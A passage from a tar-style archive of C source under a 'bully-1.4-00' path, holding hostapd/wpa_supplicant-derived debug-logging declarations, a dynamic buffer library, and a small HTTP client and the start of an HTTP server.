#define wpa_hexdump(l,t,b,le) do { } while (0) #define wpa_hexdump_buf(l,t,b) do { } while (0) #define wpa_hexdump_key(l,t,b,le) do { } while (0) #define wpa_hexdump_buf_key(l,t,b) do { } while (0) #define wpa_hexdump_ascii(l,t,b,le) do { } while (0) #define wpa_hexdump_ascii_key(l,t,b,le) do { } while (0) #define wpa_debug_open_file(p) do { } while (0) #define wpa_debug_close_file() do { } while (0) #else /* CONFIG_NO_STDOUT_DEBUG */ int wpa_debug_open_file(const char *path); void wpa_debug_close_file(void); /** * wpa_debug_printf_timestamp - Print timestamp for debug output * * This function prints a timestamp in seconds_from_1970.microsoconds * format if debug output has been configured to include timestamps in debug * messages. */ void wpa_debug_print_timestamp(void); /** * wpa_printf - conditional printf * @level: priority level (MSG_*) of the message * @fmt: printf format string, followed by optional arguments * * This function is used to print conditional debugging and error messages. The * output may be directed to stdout, stderr, and/or syslog based on * configuration. * * Note: New line '\n' is added to the end of the text when printing to stdout. */ void wpa_printf(int level, const char *fmt, ...) PRINTF_FORMAT(2, 3); /** * wpa_hexdump - conditional hex dump * @level: priority level (MSG_*) of the message * @title: title of for the message * @buf: data buffer to be dumped * @len: length of the buf * * This function is used to print conditional debugging and error messages. The * output may be directed to stdout, stderr, and/or syslog based on * configuration. The contents of buf is printed out has hex dump. */ void wpa_hexdump(int level, const char *title, const u8 *buf, size_t len); static inline void wpa_hexdump_buf(int level, const char *title, const struct wpabuf *buf) { wpa_hexdump(level, title, wpabuf_head(buf), wpabuf_len(buf)); } /** * wpa_hexdump_key - conditional hex dump, hide keys * @level: priority level (MSG_*) of the message * @title: title of for the message * @buf: data buffer to be dumped * @len: length of the buf * * This function is used to print conditional debugging and error messages. The * output may be directed to stdout, stderr, and/or syslog based on * configuration. The contents of buf is printed out has hex dump. This works * like wpa_hexdump(), but by default, does not include secret keys (passwords, * etc.) in debug output. */ void wpa_hexdump_key(int level, const char *title, const u8 *buf, size_t len); static inline void wpa_hexdump_buf_key(int level, const char *title, const struct wpabuf *buf) { wpa_hexdump_key(level, title, wpabuf_head(buf), wpabuf_len(buf)); } /** * wpa_hexdump_ascii - conditional hex dump * @level: priority level (MSG_*) of the message * @title: title of for the message * @buf: data buffer to be dumped * @len: length of the buf * * This function is used to print conditional debugging and error messages. The * output may be directed to stdout, stderr, and/or syslog based on * configuration. The contents of buf is printed out has hex dump with both * the hex numbers and ASCII characters (for printable range) are shown. 16 * bytes per line will be shown. */ void wpa_hexdump_ascii(int level, const char *title, const u8 *buf, size_t len); /** * wpa_hexdump_ascii_key - conditional hex dump, hide keys * @level: priority level (MSG_*) of the message * @title: title of for the message * @buf: data buffer to be dumped * @len: length of the buf * * This function is used to print conditional debugging and error messages. The * output may be directed to stdout, stderr, and/or syslog based on * configuration. The contents of buf is printed out has hex dump with both * the hex numbers and ASCII characters (for printable range) are shown. 16 * bytes per line will be shown. This works like wpa_hexdump_ascii(), but by * default, does not include secret keys (passwords, etc.) in debug output. */ void wpa_hexdump_ascii_key(int level, const char *title, const u8 *buf, size_t len); #endif /* CONFIG_NO_STDOUT_DEBUG */ #ifdef CONFIG_NO_WPA_MSG #define wpa_msg(args...) do { } while (0) #define wpa_msg_ctrl(args...) do { } while (0) #define wpa_msg_register_cb(f) do { } while (0) #else /* CONFIG_NO_WPA_MSG */ /** * wpa_msg - Conditional printf for default target and ctrl_iface monitors * @ctx: Pointer to context data; this is the ctx variable registered * with struct wpa_driver_ops::init() * @level: priority level (MSG_*) of the message * @fmt: printf format string, followed by optional arguments * * This function is used to print conditional debugging and error messages. The * output may be directed to stdout, stderr, and/or syslog based on * configuration. This function is like wpa_printf(), but it also sends the * same message to all attached ctrl_iface monitors. * * Note: New line '\n' is added to the end of the text when printing to stdout. */ void wpa_msg(void *ctx, int level, const char *fmt, ...) PRINTF_FORMAT(3, 4); /** * wpa_msg_ctrl - Conditional printf for ctrl_iface monitors * @ctx: Pointer to context data; this is the ctx variable registered * with struct wpa_driver_ops::init() * @level: priority level (MSG_*) of the message * @fmt: printf format string, followed by optional arguments * * This function is used to print conditional debugging and error messages. * This function is like wpa_msg(), but it sends the output only to the * attached ctrl_iface monitors. In other words, it can be used for frequent * events that do not need to be sent to syslog. */ void wpa_msg_ctrl(void *ctx, int level, const char *fmt, ...) PRINTF_FORMAT(3, 4); typedef void (*wpa_msg_cb_func)(void *ctx, int level, const char *txt, size_t len); /** * wpa_msg_register_cb - Register callback function for wpa_msg() messages * @func: Callback function (%NULL to unregister) */ void wpa_msg_register_cb(wpa_msg_cb_func func); #endif /* CONFIG_NO_WPA_MSG */ #ifdef CONFIG_NO_HOSTAPD_LOGGER #define hostapd_logger(args...) do { } while (0) #define hostapd_logger_register_cb(f) do { } while (0) #else /* CONFIG_NO_HOSTAPD_LOGGER */ void hostapd_logger(void *ctx, const u8 *addr, unsigned int module, int level, const char *fmt, ...) PRINTF_FORMAT(5, 6); typedef void (*hostapd_logger_cb_func)(void *ctx, const u8 *addr, unsigned int module, int level, const char *txt, size_t len); /** * hostapd_logger_register_cb - Register callback function for hostapd_logger() * @func: Callback function (%NULL to unregister) */ void hostapd_logger_register_cb(hostapd_logger_cb_func func); #endif /* CONFIG_NO_HOSTAPD_LOGGER */ #define HOSTAPD_MODULE_IEEE80211 0x00000001 #define HOSTAPD_MODULE_IEEE8021X 0x00000002 #define HOSTAPD_MODULE_RADIUS 0x00000004 #define HOSTAPD_MODULE_WPA 0x00000008 #define HOSTAPD_MODULE_DRIVER 0x00000010 #define HOSTAPD_MODULE_IAPP 0x00000020 #define HOSTAPD_MODULE_MLME 0x00000040 enum hostapd_logger_level { HOSTAPD_LEVEL_DEBUG_VERBOSE = 0, HOSTAPD_LEVEL_DEBUG = 1, HOSTAPD_LEVEL_INFO = 2, HOSTAPD_LEVEL_NOTICE = 3, HOSTAPD_LEVEL_WARNING = 4 }; #ifdef CONFIG_DEBUG_SYSLOG void wpa_debug_open_syslog(void); void wpa_debug_close_syslog(void); #else /* CONFIG_DEBUG_SYSLOG */ static inline void wpa_debug_open_syslog(void) { } static inline void wpa_debug_close_syslog(void) { } #endif /* CONFIG_DEBUG_SYSLOG */ #ifdef EAPOL_TEST #define WPA_ASSERT(a) \ do { \ if (!(a)) { \ printf("WPA_ASSERT FAILED '" #a "' " \ "%s %s:%d\n", \ __FUNCTION__, __FILE__, __LINE__); \ exit(1); \ } \ } while (0) #else #define WPA_ASSERT(a) do { } while (0) #endif #endif /* WPA_DEBUG_H */ bully-1.4-00/src/utils/wpabuf.c000077500000000000000000000154051361530463600163200ustar00rootroot00000000000000/* * Dynamic data buffer * Copyright (c) 2007-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "trace.h" #include "wpabuf.h" #ifdef WPA_TRACE #define WPABUF_MAGIC 0x51a974e3 struct wpabuf_trace { unsigned int magic; }; static struct wpabuf_trace * wpabuf_get_trace(const struct wpabuf *buf) { return (struct wpabuf_trace *) ((const u8 *) buf - sizeof(struct wpabuf_trace)); } #endif /* WPA_TRACE */ static void wpabuf_overflow(const struct wpabuf *buf, size_t len) { #ifdef WPA_TRACE struct wpabuf_trace *trace = wpabuf_get_trace(buf); if (trace->magic != WPABUF_MAGIC) { wpa_printf(MSG_ERROR, "wpabuf: invalid magic %x", trace->magic); } #endif /* WPA_TRACE */ wpa_printf(MSG_ERROR, "wpabuf %p (size=%lu used=%lu) overflow len=%lu", buf, (unsigned long) buf->size, (unsigned long) buf->used, (unsigned long) len); wpa_trace_show("wpabuf overflow"); abort(); } int wpabuf_resize(struct wpabuf **_buf, size_t add_len) { struct wpabuf *buf = *_buf; #ifdef WPA_TRACE struct wpabuf_trace *trace; #endif /* WPA_TRACE */ if (buf == NULL) { *_buf = wpabuf_alloc(add_len); return *_buf == NULL ? -1 : 0; } #ifdef WPA_TRACE trace = wpabuf_get_trace(buf); if (trace->magic != WPABUF_MAGIC) { wpa_printf(MSG_ERROR, "wpabuf: invalid magic %x", trace->magic); wpa_trace_show("wpabuf_resize invalid magic"); abort(); } #endif /* WPA_TRACE */ if (buf->used + add_len > buf->size) { unsigned char *nbuf; if (buf->ext_data) { nbuf = os_realloc(buf->ext_data, buf->used + add_len); if (nbuf == NULL) return -1; os_memset(nbuf + buf->used, 0, add_len); buf->ext_data = nbuf; } else { #ifdef WPA_TRACE nbuf = os_realloc(trace, sizeof(struct wpabuf_trace) + sizeof(struct wpabuf) + buf->used + add_len); if (nbuf == NULL) return -1; trace = (struct wpabuf_trace *) nbuf; buf = (struct wpabuf *) (trace + 1); os_memset(nbuf + sizeof(struct wpabuf_trace) + sizeof(struct wpabuf) + buf->used, 0, add_len); #else /* WPA_TRACE */ nbuf = os_realloc(buf, sizeof(struct wpabuf) + buf->used + add_len); if (nbuf == NULL) return -1; buf = (struct wpabuf *) nbuf; os_memset(nbuf + sizeof(struct wpabuf) + buf->used, 0, add_len); #endif /* WPA_TRACE */ *_buf = buf; } buf->size = buf->used + add_len; } return 0; } /** * wpabuf_alloc - Allocate a wpabuf of the given size * @len: Length for the allocated buffer * Returns: Buffer to the allocated wpabuf or %NULL on failure */ struct wpabuf * wpabuf_alloc(size_t len) { #ifdef WPA_TRACE struct wpabuf_trace *trace = os_zalloc(sizeof(struct wpabuf_trace) + sizeof(struct wpabuf) + len); struct wpabuf *buf; if (trace == NULL) return NULL; trace->magic = WPABUF_MAGIC; buf = (struct wpabuf *) (trace + 1); #else /* WPA_TRACE */ struct wpabuf *buf = os_zalloc(sizeof(struct wpabuf) + len); if (buf == NULL) return NULL; #endif /* WPA_TRACE */ buf->size = len; return buf; } struct wpabuf * wpabuf_alloc_ext_data(u8 *data, size_t len) { #ifdef WPA_TRACE struct wpabuf_trace *trace = os_zalloc(sizeof(struct wpabuf_trace) + sizeof(struct wpabuf)); struct wpabuf *buf; if (trace == NULL) return NULL; trace->magic = WPABUF_MAGIC; buf = (struct wpabuf *) (trace + 1); #else /* WPA_TRACE */ struct wpabuf *buf = os_zalloc(sizeof(struct wpabuf)); if (buf == NULL) return NULL; #endif /* WPA_TRACE */ buf->size = len; buf->used = len; buf->ext_data = data; return buf; } struct wpabuf * wpabuf_alloc_copy(const void *data, size_t len) { struct wpabuf *buf = wpabuf_alloc(len); if (buf) wpabuf_put_data(buf, data, len); return buf; } struct wpabuf * wpabuf_dup(const struct wpabuf *src) { struct wpabuf *buf = wpabuf_alloc(wpabuf_len(src)); if (buf) wpabuf_put_data(buf, wpabuf_head(src), wpabuf_len(src)); return buf; } /** * wpabuf_free - Free a wpabuf * @buf: wpabuf buffer */ void wpabuf_free(struct wpabuf *buf) { #ifdef WPA_TRACE struct wpabuf_trace *trace; if (buf == NULL) return; trace = wpabuf_get_trace(buf); if (trace->magic != WPABUF_MAGIC) { wpa_printf(MSG_ERROR, "wpabuf_free: invalid magic %x", trace->magic); wpa_trace_show("wpabuf_free magic mismatch"); abort(); } os_free(buf->ext_data); os_free(trace); #else /* WPA_TRACE */ if (buf == NULL) return; os_free(buf->ext_data); os_free(buf); #endif /* WPA_TRACE */ } void * wpabuf_put(struct wpabuf *buf, size_t len) { void *tmp = wpabuf_mhead_u8(buf) + wpabuf_len(buf); buf->used += len; if (buf->used > buf->size) { wpabuf_overflow(buf, len); } return tmp; } /** * wpabuf_concat - Concatenate two buffers into a newly allocated one * @a: First buffer * @b: Second buffer * Returns: wpabuf with concatenated a + b data or %NULL on failure * * Both buffers a and b will be freed regardless of the return value. Input * buffers can be %NULL which is interpreted as an empty buffer. */ struct wpabuf * wpabuf_concat(struct wpabuf *a, struct wpabuf *b) { struct wpabuf *n = NULL; size_t len = 0; if (b == NULL) return a; if (a) len += wpabuf_len(a); if (b) len += wpabuf_len(b); n = wpabuf_alloc(len); if (n) { if (a) wpabuf_put_buf(n, a); if (b) wpabuf_put_buf(n, b); } wpabuf_free(a); wpabuf_free(b); return n; } /** * wpabuf_zeropad - Pad buffer with 0x00 octets (prefix) to specified length * @buf: Buffer to be padded * @len: Length for the padded buffer * Returns: wpabuf padded to len octets or %NULL on failure * * If buf is longer than len octets or of same size, it will be returned as-is. * Otherwise a new buffer is allocated and prefixed with 0x00 octets followed * by the source data. The source buffer will be freed on error, i.e., caller * will only be responsible on freeing the returned buffer. If buf is %NULL, * %NULL will be returned. */ struct wpabuf * wpabuf_zeropad(struct wpabuf *buf, size_t len) { struct wpabuf *ret; size_t blen; if (buf == NULL) return NULL; blen = wpabuf_len(buf); if (blen >= len) return buf; ret = wpabuf_alloc(len); if (ret) { os_memset(wpabuf_put(ret, len - blen), 0, len - blen); wpabuf_put_buf(ret, buf); } wpabuf_free(buf); return ret; } void wpabuf_printf(struct wpabuf *buf, char *fmt, ...) { va_list ap; void *tmp = wpabuf_mhead_u8(buf) + wpabuf_len(buf); int res; va_start(ap, fmt); res = vsnprintf(tmp, buf->size - buf->used, fmt, ap); va_end(ap); if (res < 0 || (size_t) res >= buf->size - buf->used) wpabuf_overflow(buf, res); buf->used += res; } bully-1.4-00/src/utils/wpabuf.h000077500000000000000000000101101361530463600163110ustar00rootroot00000000000000/* * Dynamic data buffer * Copyright (c) 2007-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef WPABUF_H #define WPABUF_H /* * Internal data structure for wpabuf. Please do not touch this directly from * elsewhere. This is only defined in header file to allow inline functions * from this file to access data. */ struct wpabuf { size_t size; /* total size of the allocated buffer */ size_t used; /* length of data in the buffer */ u8 *ext_data; /* pointer to external data; NULL if data follows * struct wpabuf */ /* optionally followed by the allocated buffer */ }; int wpabuf_resize(struct wpabuf **buf, size_t add_len); struct wpabuf * wpabuf_alloc(size_t len); struct wpabuf * wpabuf_alloc_ext_data(u8 *data, size_t len); struct wpabuf * wpabuf_alloc_copy(const void *data, size_t len); struct wpabuf * wpabuf_dup(const struct wpabuf *src); void wpabuf_free(struct wpabuf *buf); void * wpabuf_put(struct wpabuf *buf, size_t len); struct wpabuf * wpabuf_concat(struct wpabuf *a, struct wpabuf *b); struct wpabuf * wpabuf_zeropad(struct wpabuf *buf, size_t len); void wpabuf_printf(struct wpabuf *buf, char *fmt, ...) PRINTF_FORMAT(2, 3); /** * wpabuf_size - Get the currently allocated size of a wpabuf buffer * @buf: wpabuf buffer * Returns: Currently allocated size of the buffer */ static inline size_t wpabuf_size(const struct wpabuf *buf) { return buf->size; } /** * wpabuf_len - Get the current length of a wpabuf buffer data * @buf: wpabuf buffer * Returns: Currently used length of the buffer */ static inline size_t wpabuf_len(const struct wpabuf *buf) { return buf->used; } /** * wpabuf_tailroom - Get size of available tail room in the end of the buffer * @buf: wpabuf buffer * Returns: Tail room (in bytes) of available space in the end of the buffer */ static inline size_t wpabuf_tailroom(const struct wpabuf *buf) { return buf->size - buf->used; } /** * wpabuf_head - Get pointer to the head of the buffer data * @buf: wpabuf buffer * Returns: Pointer to the head of the buffer data */ static inline const void * wpabuf_head(const struct wpabuf *buf) { if (buf->ext_data) return buf->ext_data; return buf + 1; } static inline const u8 * wpabuf_head_u8(const struct wpabuf *buf) { return wpabuf_head(buf); } /** * wpabuf_mhead - Get modifiable pointer to the head of the buffer data * @buf: wpabuf buffer * Returns: Pointer to the head of the buffer data */ static inline void * wpabuf_mhead(struct wpabuf *buf) { if (buf->ext_data) return buf->ext_data; return buf + 1; } static inline u8 * wpabuf_mhead_u8(struct wpabuf *buf) { return wpabuf_mhead(buf); } static inline void wpabuf_put_u8(struct wpabuf *buf, u8 data) { u8 *pos = wpabuf_put(buf, 1); *pos = data; } static inline void wpabuf_put_le16(struct wpabuf *buf, u16 data) { u8 *pos = wpabuf_put(buf, 2); WPA_PUT_LE16(pos, data); } static inline void wpabuf_put_be16(struct wpabuf *buf, u16 data) { u8 *pos = wpabuf_put(buf, 2); WPA_PUT_BE16(pos, data); } static inline void wpabuf_put_be24(struct wpabuf *buf, u32 data) { u8 *pos = wpabuf_put(buf, 3); WPA_PUT_BE24(pos, data); } static inline void wpabuf_put_be32(struct wpabuf *buf, u32 data) { u8 *pos = wpabuf_put(buf, 4); WPA_PUT_BE32(pos, data); } static inline void wpabuf_put_data(struct wpabuf *buf, const void *data, size_t len) { if (data) os_memcpy(wpabuf_put(buf, len), data, len); } static inline void wpabuf_put_buf(struct wpabuf *dst, const struct wpabuf *src) { wpabuf_put_data(dst, wpabuf_head(src), wpabuf_len(src)); } static inline void wpabuf_set(struct wpabuf *buf, const void *data, size_t len) { buf->ext_data = (u8 *) data; buf->size = buf->used = len; } static inline void wpabuf_put_str(struct wpabuf *dst, const char *str) { wpabuf_put_data(dst, str, os_strlen(str)); } #endif /* WPABUF_H */ bully-1.4-00/src/version.h000077500000000000000000000000321361530463600153540ustar00rootroot00000000000000#define VERSION "v1.4-00" bully-1.4-00/src/wps/000077500000000000000000000000001361530463600143315ustar00rootroot00000000000000bully-1.4-00/src/wps/Makefile000077500000000000000000000001371361530463600157750ustar00rootroot00000000000000all: @echo Nothing to be made. clean: rm -f *~ *.o *.d install: @echo Nothing to be made. bully-1.4-00/src/wps/http.h000077500000000000000000000012621361530463600154650ustar00rootroot00000000000000/* * HTTP for WPS * Copyright (c) 2000-2003 Intel Corporation * Copyright (c) 2006-2007 Sony Corporation * Copyright (c) 2008-2009 Atheros Communications * Copyright (c) 2009, Jouni Malinen * * See wps_upnp.c for more details on licensing and code history. */ #ifndef HTTP_H #define HTTP_H enum http_reply_code { HTTP_OK = 200, HTTP_BAD_REQUEST = 400, UPNP_INVALID_ACTION = 401, UPNP_INVALID_ARGS = 402, HTTP_NOT_FOUND = 404, HTTP_PRECONDITION_FAILED = 412, HTTP_INTERNAL_SERVER_ERROR = 500, HTTP_UNIMPLEMENTED = 501, UPNP_ACTION_FAILED = 501, UPNP_ARG_VALUE_INVALID = 600, UPNP_ARG_VALUE_OUT_OF_RANGE = 601, UPNP_OUT_OF_MEMORY = 603 }; #endif /* HTTP_H */ bully-1.4-00/src/wps/http_client.c000077500000000000000000000203731361530463600170220ustar00rootroot00000000000000/* * http_client - HTTP client * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include "common.h" #include "eloop.h" #include "httpread.h" #include "http_client.h" #define HTTP_CLIENT_TIMEOUT 30 struct http_client { struct sockaddr_in dst; int sd; struct wpabuf *req; size_t req_pos; size_t max_response; void (*cb)(void *ctx, struct http_client *c, enum http_client_event event); void *cb_ctx; struct httpread *hread; struct wpabuf body; }; static void http_client_timeout(void *eloop_data, void *user_ctx) { struct http_client *c = eloop_data; wpa_printf(MSG_DEBUG, "HTTP: Timeout"); c->cb(c->cb_ctx, c, HTTP_CLIENT_TIMEOUT); } static void http_client_got_response(struct httpread *handle, void *cookie, enum httpread_event e) { struct http_client *c = cookie; eloop_cancel_timeout(http_client_timeout, c, NULL); switch (e) { case HTTPREAD_EVENT_FILE_READY: if (httpread_hdr_type_get(c->hread) == HTTPREAD_HDR_TYPE_REPLY) { int reply_code = httpread_reply_code_get(c->hread); if (reply_code == 200 /* OK */) { wpa_printf(MSG_DEBUG, "HTTP: Response OK from " "%s:%d", inet_ntoa(c->dst.sin_addr), ntohs(c->dst.sin_port)); c->cb(c->cb_ctx, c, HTTP_CLIENT_OK); } else { wpa_printf(MSG_DEBUG, "HTTP: Error %d from " "%s:%d", reply_code, inet_ntoa(c->dst.sin_addr), ntohs(c->dst.sin_port)); c->cb(c->cb_ctx, c, HTTP_CLIENT_INVALID_REPLY); } } else c->cb(c->cb_ctx, c, HTTP_CLIENT_INVALID_REPLY); break; case HTTPREAD_EVENT_TIMEOUT: c->cb(c->cb_ctx, c, HTTP_CLIENT_TIMEOUT); break; case HTTPREAD_EVENT_ERROR: c->cb(c->cb_ctx, c, HTTP_CLIENT_FAILED); break; } } static void http_client_tx_ready(int sock, void *eloop_ctx, void *sock_ctx) { struct http_client *c = eloop_ctx; int res; wpa_printf(MSG_DEBUG, "HTTP: Send client request to %s:%d (%lu of %lu " "bytes remaining)", inet_ntoa(c->dst.sin_addr), ntohs(c->dst.sin_port), (unsigned long) wpabuf_len(c->req), (unsigned long) wpabuf_len(c->req) - c->req_pos); res = send(c->sd, wpabuf_head(c->req) + c->req_pos, wpabuf_len(c->req) - c->req_pos, 0); if (res < 0) { wpa_printf(MSG_DEBUG, "HTTP: Failed to send buffer: %s", strerror(errno)); eloop_unregister_sock(c->sd, EVENT_TYPE_WRITE); c->cb(c->cb_ctx, c, HTTP_CLIENT_FAILED); return; } if ((size_t) res < wpabuf_len(c->req) - c->req_pos) { wpa_printf(MSG_DEBUG, "HTTP: Sent %d of %lu bytes; %lu bytes " "remaining", res, (unsigned long) wpabuf_len(c->req), (unsigned long) wpabuf_len(c->req) - c->req_pos - res); c->req_pos += res; return; } wpa_printf(MSG_DEBUG, "HTTP: Full client request sent to %s:%d", inet_ntoa(c->dst.sin_addr), ntohs(c->dst.sin_port)); eloop_unregister_sock(c->sd, EVENT_TYPE_WRITE); wpabuf_free(c->req); c->req = NULL; c->hread = httpread_create(c->sd, http_client_got_response, c, c->max_response, HTTP_CLIENT_TIMEOUT); if (c->hread == NULL) { c->cb(c->cb_ctx, c, HTTP_CLIENT_FAILED); return; } } struct http_client * http_client_addr(struct sockaddr_in *dst, struct wpabuf *req, size_t max_response, void (*cb)(void *ctx, struct http_client *c, enum http_client_event event), void *cb_ctx) { struct http_client *c; c = os_zalloc(sizeof(*c)); if (c == NULL) return NULL; c->sd = -1; c->dst = *dst; c->max_response = max_response; c->cb = cb; c->cb_ctx = cb_ctx; c->sd = socket(AF_INET, SOCK_STREAM, 0); if (c->sd < 0) { http_client_free(c); return NULL; } if (fcntl(c->sd, F_SETFL, O_NONBLOCK) != 0) { wpa_printf(MSG_DEBUG, "HTTP: fnctl(O_NONBLOCK) failed: %s", strerror(errno)); http_client_free(c); return NULL; } if (connect(c->sd, (struct sockaddr *) dst, sizeof(*dst))) { if (errno != EINPROGRESS) { wpa_printf(MSG_DEBUG, "HTTP: Failed to connect: %s", strerror(errno)); http_client_free(c); return NULL; } /* * Continue connecting in the background; eloop will call us * once the connection is ready (or failed). */ } if (eloop_register_sock(c->sd, EVENT_TYPE_WRITE, http_client_tx_ready, c, NULL)) { http_client_free(c); return NULL; } if (eloop_register_timeout(HTTP_CLIENT_TIMEOUT, 0, http_client_timeout, c, NULL)) { http_client_free(c); return NULL; } c->req = req; return c; } char * http_client_url_parse(const char *url, struct sockaddr_in *dst, char **ret_path) { char *u, *addr, *port, *path; u = os_strdup(url); if (u == NULL) return NULL; os_memset(dst, 0, sizeof(*dst)); dst->sin_family = AF_INET; addr = u + 7; path = os_strchr(addr, '/'); port = os_strchr(addr, ':'); if (path == NULL) { path = "/"; } else { *path = '\0'; /* temporary nul termination for address */ if (port > path) port = NULL; } if (port) *port++ = '\0'; if (inet_aton(addr, &dst->sin_addr) == 0) { /* TODO: name lookup */ wpa_printf(MSG_DEBUG, "HTTP: Unsupported address in URL '%s' " "(addr='%s' port='%s')", url, addr, port); os_free(u); return NULL; } if (port) dst->sin_port = htons(atoi(port)); else dst->sin_port = htons(80); if (*path == '\0') { /* remove temporary nul termination for address */ *path = '/'; } *ret_path = path; return u; } struct http_client * http_client_url(const char *url, struct wpabuf *req, size_t max_response, void (*cb)(void *ctx, struct http_client *c, enum http_client_event event), void *cb_ctx) { struct sockaddr_in dst; struct http_client *c; char *u, *path; struct wpabuf *req_buf = NULL; if (os_strncmp(url, "http://", 7) != 0) return NULL; u = http_client_url_parse(url, &dst, &path); if (u == NULL) return NULL; if (req == NULL) { req_buf = wpabuf_alloc(os_strlen(url) + 1000); if (req_buf == NULL) { os_free(u); return NULL; } req = req_buf; wpabuf_printf(req, "GET %s HTTP/1.1\r\n" "Cache-Control: no-cache\r\n" "Pragma: no-cache\r\n" "Accept: text/xml, application/xml\r\n" "User-Agent: wpa_supplicant\r\n" "Host: %s:%d\r\n" "\r\n", path, inet_ntoa(dst.sin_addr), ntohs(dst.sin_port)); } os_free(u); c = http_client_addr(&dst, req, max_response, cb, cb_ctx); if (c == NULL) { wpabuf_free(req_buf); return NULL; } return c; } void http_client_free(struct http_client *c) { if (c == NULL) return; httpread_destroy(c->hread); wpabuf_free(c->req); if (c->sd >= 0) { eloop_unregister_sock(c->sd, EVENT_TYPE_WRITE); close(c->sd); } eloop_cancel_timeout(http_client_timeout, c, NULL); os_free(c); } struct wpabuf * http_client_get_body(struct http_client *c) { if (c->hread == NULL) return NULL; wpabuf_set(&c->body, httpread_data_get(c->hread), httpread_length_get(c->hread)); return &c->body; } char * http_client_get_hdr_line(struct http_client *c, const char *tag) { if (c->hread == NULL) return NULL; return httpread_hdr_line_get(c->hread, tag); } char * http_link_update(char *url, const char *base) { char *n; size_t len; const char *pos; /* RFC 2396, Chapter 5.2 */ /* TODO: consider adding all cases described in RFC 2396 */ if (url == NULL) return NULL; if (os_strncmp(url, "http://", 7) == 0) return url; /* absolute link */ if (os_strncmp(base, "http://", 7) != 0) return url; /* unable to handle base URL */ len = os_strlen(url) + 1 + os_strlen(base) + 1; n = os_malloc(len); if (n == NULL) return url; /* failed */ if (url[0] == '/') { pos = os_strchr(base + 7, '/'); if (pos == NULL) { os_snprintf(n, len, "%s%s", base, url); } else { os_memcpy(n, base, pos - base); os_memcpy(n + (pos - base), url, os_strlen(url) + 1); } } else { pos = os_strrchr(base + 7, '/'); if (pos == NULL) { os_snprintf(n, len, "%s/%s", base, url); } else { os_memcpy(n, base, pos - base + 1); os_memcpy(n + (pos - base) + 1, url, os_strlen(url) + 1); } } os_free(url); return n; } bully-1.4-00/src/wps/http_client.h000077500000000000000000000026041361530463600170240ustar00rootroot00000000000000/* * http_client - HTTP client * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef HTTP_CLIENT_H #define HTTP_CLIENT_H struct http_client; enum http_client_event { HTTP_CLIENT_FAILED, HTTP_CLIENT_TIMEOUT, HTTP_CLIENT_OK, HTTP_CLIENT_INVALID_REPLY, }; char * http_client_url_parse(const char *url, struct sockaddr_in *dst, char **path); struct http_client * http_client_addr(struct sockaddr_in *dst, struct wpabuf *req, size_t max_response, void (*cb)(void *ctx, struct http_client *c, enum http_client_event event), void *cb_ctx); struct http_client * http_client_url(const char *url, struct wpabuf *req, size_t max_response, void (*cb)(void *ctx, struct http_client *c, enum http_client_event event), void *cb_ctx); void http_client_free(struct http_client *c); struct wpabuf * http_client_get_body(struct http_client *c); char * http_client_get_hdr_line(struct http_client *c, const char *tag); char * http_link_update(char *url, const char *base); #endif /* HTTP_CLIENT_H */ bully-1.4-00/src/wps/http_server.c000077500000000000000000000146061361530463600170540ustar00rootroot00000000000000/* * http_server - HTTP server * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include "common.h" #include "eloop.h" #include "httpread.h" #include "http_server.h" #define HTTP_SERVER_TIMEOUT 30 #define HTTP_SERVER_MAX_REQ_LEN 8000 #define HTTP_SERVER_MAX_CONNECTIONS 10 struct http_request { struct http_request *next; struct http_server *srv; int fd; struct sockaddr_in cli; struct httpread *hread; }; struct http_server { void (*cb)(void *ctx, struct http_request *req); void *cb_ctx; int fd; int port; struct http_request *requests; unsigned int request_count; }; static void http_request_cb(struct httpread *handle, void *cookie, enum httpread_event en) { struct http_request *req = cookie; struct http_server *srv = req->srv; if (en == HTTPREAD_EVENT_FILE_READY) { wpa_printf(MSG_DEBUG, "HTTP: Request from %s:%d received", inet_ntoa(req->cli.sin_addr), ntohs(req->cli.sin_port)); srv->cb(srv->cb_ctx, req); return; } wpa_printf(MSG_DEBUG, "HTTP: Request from %s:%d could not be received " "completely", inet_ntoa(req->cli.sin_addr), ntohs(req->cli.sin_port)); http_request_deinit(req); } static struct http_request * http_request_init(struct http_server *srv, int fd, struct sockaddr_in *cli) { struct http_request *req; if (srv->request_count >= HTTP_SERVER_MAX_CONNECTIONS) { wpa_printf(MSG_DEBUG, "HTTP: Too many concurrent requests"); return NULL; } req = os_zalloc(sizeof(*req)); if (req == NULL) return NULL; req->srv = srv; req->fd = fd; req->cli = *cli; req->hread = httpread_create(req->fd, http_request_cb, req, HTTP_SERVER_MAX_REQ_LEN, HTTP_SERVER_TIMEOUT); if (req->hread == NULL) { http_request_deinit(req); return NULL; } return req; } void http_request_deinit(struct http_request *req) { struct http_request *r, *p; struct http_server *srv; if (req == NULL) return; srv = req->srv; p = NULL; r = srv->requests; while (r) { if (r == req) { if (p) p->next = r->next; else srv->requests = r->next; srv->request_count--; break; } p = r; r = r->next; } httpread_destroy(req->hread); close(req->fd); os_free(req); } static void http_request_free_all(struct http_request *req) { struct http_request *prev; while (req) { prev = req; req = req->next; http_request_deinit(prev); } } void http_request_send(struct http_request *req, struct wpabuf *resp) { int res; wpa_printf(MSG_DEBUG, "HTTP: Send %lu byte response to %s:%d", (unsigned long) wpabuf_len(resp), inet_ntoa(req->cli.sin_addr), ntohs(req->cli.sin_port)); res = send(req->fd, wpabuf_head(resp), wpabuf_len(resp), 0); if (res < 0) { 